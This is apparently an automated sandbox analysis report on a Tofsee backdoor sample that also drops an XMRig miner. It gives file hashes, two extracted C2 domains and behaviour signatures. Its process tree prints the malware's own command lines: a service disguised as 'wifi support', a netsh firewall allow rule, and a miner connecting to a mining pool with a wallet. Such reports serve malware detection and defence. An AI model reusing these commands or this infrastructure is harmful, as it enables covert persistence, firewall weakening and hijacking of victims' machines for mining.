Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    15-05-2023 17:10

General

  • Target

    file.exe

  • Size

    259KB

  • MD5

    755dc3d00bddf9483a791e5ec4458f30

  • SHA1

    0cb42a40bbfb57e68867e8b5f07e37f13ccd3ce3

  • SHA256

    42dff7201d7e644ca0d8c5a4aa0c623fb2943b3d88f94794a2767a8aedfc30bd

  • SHA512

    ce1e776753ba8d72cf18d5443ec4ca4d602dc531567d83f30cce817c0f5e8baa7955cdb22368b729a4b082ab79b4402a5cca5b7e0418770fc09662a3a82ab29d

  • SSDEEP

    3072:8Nu55AZAuEsBHOmuTmO7WeZH7+Ql/TWmoKbyBxUWmYEUP8nJ6nY/2TpzhC97MZ:NkC0BdnOye0w3oKba2t0nNdtY7MZ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1948
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kpthwyey\
      2⤵
        PID:1332
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\coafcihv.exe" C:\Windows\SysWOW64\kpthwyey\
        2⤵
          PID:480
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kpthwyey binPath= "C:\Windows\SysWOW64\kpthwyey\coafcihv.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1916
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kpthwyey "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1092
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kpthwyey
          2⤵
          • Launches sc.exe
          PID:1824
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:512
      • C:\Windows\SysWOW64\kpthwyey\coafcihv.exe
        C:\Windows\SysWOW64\kpthwyey\coafcihv.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1744
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1768
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:980

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\coafcihv.exe

        Filesize

        14.6MB

        MD5

        d5f0dae95a2c246cf7abd48b2bea3879

        SHA1

        9098df002fc7eda3f21829a8339b6d1046e1eee2

        SHA256

        6beaad66452c3c551ba525d9742d9228105298b5d270fea2923fc332b9219861

        SHA512

        0b2908d23a15ec5a3ef737db6cca6ee6ed3f7a292260a45a79108d04b4e1c6e5e01272a9d5e4f161377315453726224d70c65f9ef91069d89e61d49c5ef684b3

      • C:\Windows\SysWOW64\kpthwyey\coafcihv.exe

        Filesize

        14.6MB

        MD5

        d5f0dae95a2c246cf7abd48b2bea3879

        SHA1

        9098df002fc7eda3f21829a8339b6d1046e1eee2

        SHA256

        6beaad66452c3c551ba525d9742d9228105298b5d270fea2923fc332b9219861

        SHA512

        0b2908d23a15ec5a3ef737db6cca6ee6ed3f7a292260a45a79108d04b4e1c6e5e01272a9d5e4f161377315453726224d70c65f9ef91069d89e61d49c5ef684b3

      • memory/980-111-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/980-124-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/980-123-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/980-122-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/980-121-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/980-120-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/980-119-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/980-112-0x00000000000F0000-0x00000000001E1000-memory.dmp

        Filesize

        964KB

      • memory/1744-64-0x0000000000400000-0x00000000006BE000-memory.dmp

        Filesize

        2.7MB

      • memory/1768-88-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-94-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-75-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/1768-78-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-82-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-81-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-86-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-85-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-84-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-83-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-87-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-61-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1768-89-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-90-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-91-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-92-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-93-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-74-0x00000000019F0000-0x0000000001BFF000-memory.dmp

        Filesize

        2.1MB

      • memory/1768-95-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-96-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-97-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/1768-98-0x0000000000220000-0x0000000000225000-memory.dmp

        Filesize

        20KB

      • memory/1768-101-0x0000000000220000-0x0000000000225000-memory.dmp

        Filesize

        20KB

      • memory/1768-102-0x0000000005920000-0x0000000005D2B000-memory.dmp

        Filesize

        4.0MB

      • memory/1768-105-0x0000000005920000-0x0000000005D2B000-memory.dmp

        Filesize

        4.0MB

      • memory/1768-106-0x0000000000230000-0x0000000000237000-memory.dmp

        Filesize

        28KB

      • memory/1768-110-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1768-71-0x00000000019F0000-0x0000000001BFF000-memory.dmp

        Filesize

        2.1MB

      • memory/1768-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1768-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1768-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1768-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1768-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1948-56-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/1948-59-0x0000000000400000-0x00000000006BE000-memory.dmp

        Filesize

        2.7MB